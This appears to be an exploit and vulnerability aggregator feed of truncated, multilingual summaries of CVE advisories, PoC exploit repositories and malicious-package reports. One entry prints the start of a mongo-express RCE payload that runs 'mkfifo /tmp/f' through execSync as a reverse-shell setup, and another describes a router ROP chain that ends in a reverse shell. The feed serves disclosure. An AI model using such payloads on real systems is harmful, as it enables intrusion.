tenda-ac8v4-rop

Tenda-Ac8v4-PoC Tenda Ac8v4 通过执行流劫持和多寄存器操作利用，实现从基于栈的溢出到远程代码执行；相关 CVE 为： CVE-2023-33675 CVE-2023-33673 CVE-2023-33672 CVE-2023-33671 CVE-2023-33670 CVE-2023-33669 标记为 N1 - N7 rop.py 确保你在可访问的机器上托管了 tftp；通过 args.attackerhost 指定它； 确保预编译的加载器 rs 托管在 tftp 中； 反向 shell 连接将在脚本内监听。...

CVE-2026-67595

CVE-2026-67595 — VaahCMSに埋め込まれた悪意あるJavaScript CVE-2026-67595 に関するセキュリティアドバイザリ: VaahCMSの公式リリースに同梱された難読化JavaScriptのスパイウェアペイロードサプライチェーン/埋め込み型悪意コードの問題。Ilhomjon Rustamov氏によって独自に発見・報告されました。 概要...

go-mal-pkgs

go-mal-pkgs Go Module Proxy キャッシュをバイパスし、go.sum のチェックサムを元のソースコードと照合して、悪意のある Go パッケージを検出するセキュリティツールです。 概要 このツールは、最近悪意のある github.com/boltdb-go/bolt パッケージで実証されたように、Go Module Proxy キャッシュを悪用したサプライチェーン攻撃から保護するのに役立ちます。 これらの攻撃は、Go Module Proxy の無期限キャッシュ機構を悪用し、ソースリポジトリが浄化された後でも悪意のあるコードを配信します。...

EUVD-2026-74192

Waves Central for macOS contains a local privilege escalation in the privileged helper service. The helper authorizes connecting XPC clients by comparing the caller's code-signing certificate chain for equality with its own, rather than validating the caller against a pinned code requirement...

CVE-2026-86819 Waves Central local privilege escalation via Improper XPC Client Authentication in macOS

Waves Central for macOS contains a local privilege escalation in the privileged helper service. The helper authorizes connecting XPC clients by comparing the caller's code-signing certificate chain for equality with its own, rather than validating the caller against a pinned code requirement...

redis-cve-2025-62507

익스플로잇 스크립트 — CVE-2025-62507 디렉토리 구조 root@kitploit: scripts/ ├── exploitx86.py x86-64 ROP exploit ├── exploitarm64.py ARM64 AArch64 ROP exploit └── gdbwithsymbols.sh GDB 디버깅 보조 스크립트 취약점 요약 항목| 설명 ---|--- CVE| CVE-2025-62507 취약점 유형| 스택 버퍼 오버플로우 Stack Buffer Overflow 영향받는 구성 요소| Redis 8.2.0...

CVE-2025-2783

Chromium CVE-2025-2783：沙盒逃逸与全链远程代码执行利用 本仓库包含了 CVE-2025-2783 的完整利用链实现。该漏洞存在于 Chromium 的 Ipcz 通信层，允许攻击者从受限的渲染器进程中实现沙盒逃逸和任意代码执行。该利用支持 134.0.6998.177 及之前的版本。 https://github.com/user-attachments/assets/a3e2bf34-739c-4db7-9101-0f4d48987ad0 1. 项目结构 src/ ：核心利用实现。包含针对 CVE-2025-2783 的 Ipcz 劫持逻辑、V8...

CVE-2019-9081_PoC

CVE-2019-9081poc CVE-2019-9081 の PoC です。この CVE は新しい POP チェーンです。このプロジェクトは、事前に脆弱性が組み込まれた Laravel 5.7.x アプリケーションで、URI /deserialize POST リクエスト に POP 脆弱性のエントリポイントがあります。 ラボのセットアップ： 脆弱性アプリケーションの起動： root@kitploit: $ git clone https://github.com/nth347/CVE-2019-9081poc.git $ cd CVE-2019-9081 $ php artisan...

MAL-2026-16048 Malicious code in punypump (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e56cc14096d20f679823bf15af9f44dff039e01f23d2082eba8020200d04a7f The package presents itself as a console shim index.js is a verbatim copy of console-browserify with description 'Emulate console for all the...

Malicious code in punypump (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e56cc14096d20f679823bf15af9f44dff039e01f23d2082eba8020200d04a7f The package presents itself as a console shim index.js is a verbatim copy of console-browserify with description 'Emulate console for all the...

crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation

A flaw was found in Go's crypto/x509 package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service DoS for...

crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application

A flaw was found in the crypto/x509 package within Go golang. When verifying a certificate chain, excluded DNS Domain Name System constraints are not correctly applied to wildcard DNS Subject Alternative Names SANs if the case of the SAN differs from the constraint. This oversight could allow an...

crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building

A flaw was found in the Go standard library packages crypto/x509 and crypto/tls. During the process of building a certificate chain, an attacker can provide a large number of intermediate certificates. This excessive input is not properly limited, leading to an uncontrolled amount of work being...

EUVD-2026-74017

In AppendCommentLine of AnnotationProcessor.cpp, there is a possible supply chain risk due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation...

CVE-2026-55273

CVE-2026-55273 is a vulnerability in Android , specifically in the AppendCommentLine function of AnnotationProcessor.cpp . The root cause is improper input validation , described as a possible supply chain risk, which can lead to local escalation of privilege with only low privileges required and...

react2shell

React2Shell CVE-2025-55182 Next.js: CVE-2025-66478 認証不要のRCE in React Server Components Flight Protocol - PoCエクスプロイト 説明 React Server Components（Flightプロトコル）は、攻撃者が制御する multipart/form-data を、プロトタイプチェーンへのアクセスを検証せずにデシリアライズします。Next-Action ヘッダーを含む単一の認証不要のPOSTリクエストによって、細工された参照チェーン（$1:proto:then +...

Byepervisor

Byepervisor Resumen Exploit del hipervisor de PS5 para firmware = 2.xx. El repositorio contiene dos vulnerabilidades y cadenas de exploit independientes entre sí; cualquiera de ellas puede usarse. Un exploit se incluye principalmente con fines de preservación /oldjumptableexploit; solo es necesar...

CVE-2026-86732

Craft CMS versions before 5.10.12 contain a remote code execution vulnerability in the element-index endpoint that allows authenticated content editors to instantiate arbitrary classes through the criteria parameter. Attackers can inject a malicious class via criteriawithTransforms0class that...

CVE-2019-10758

CVE-2019-10758 mongo-expressのリモートコード実行、リバースシェルのコードは以下のとおりです： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat...

CVE-2026-86732 Craft CMS before 5.10.12 Remote Code Execution via element-index

Craft CMS versions before 5.10.12 contain a remote code execution vulnerability in the element-index endpoint that allows authenticated content editors to instantiate arbitrary classes through the criteria parameter. Attackers can inject a malicious class via criteriawithTransforms0class that...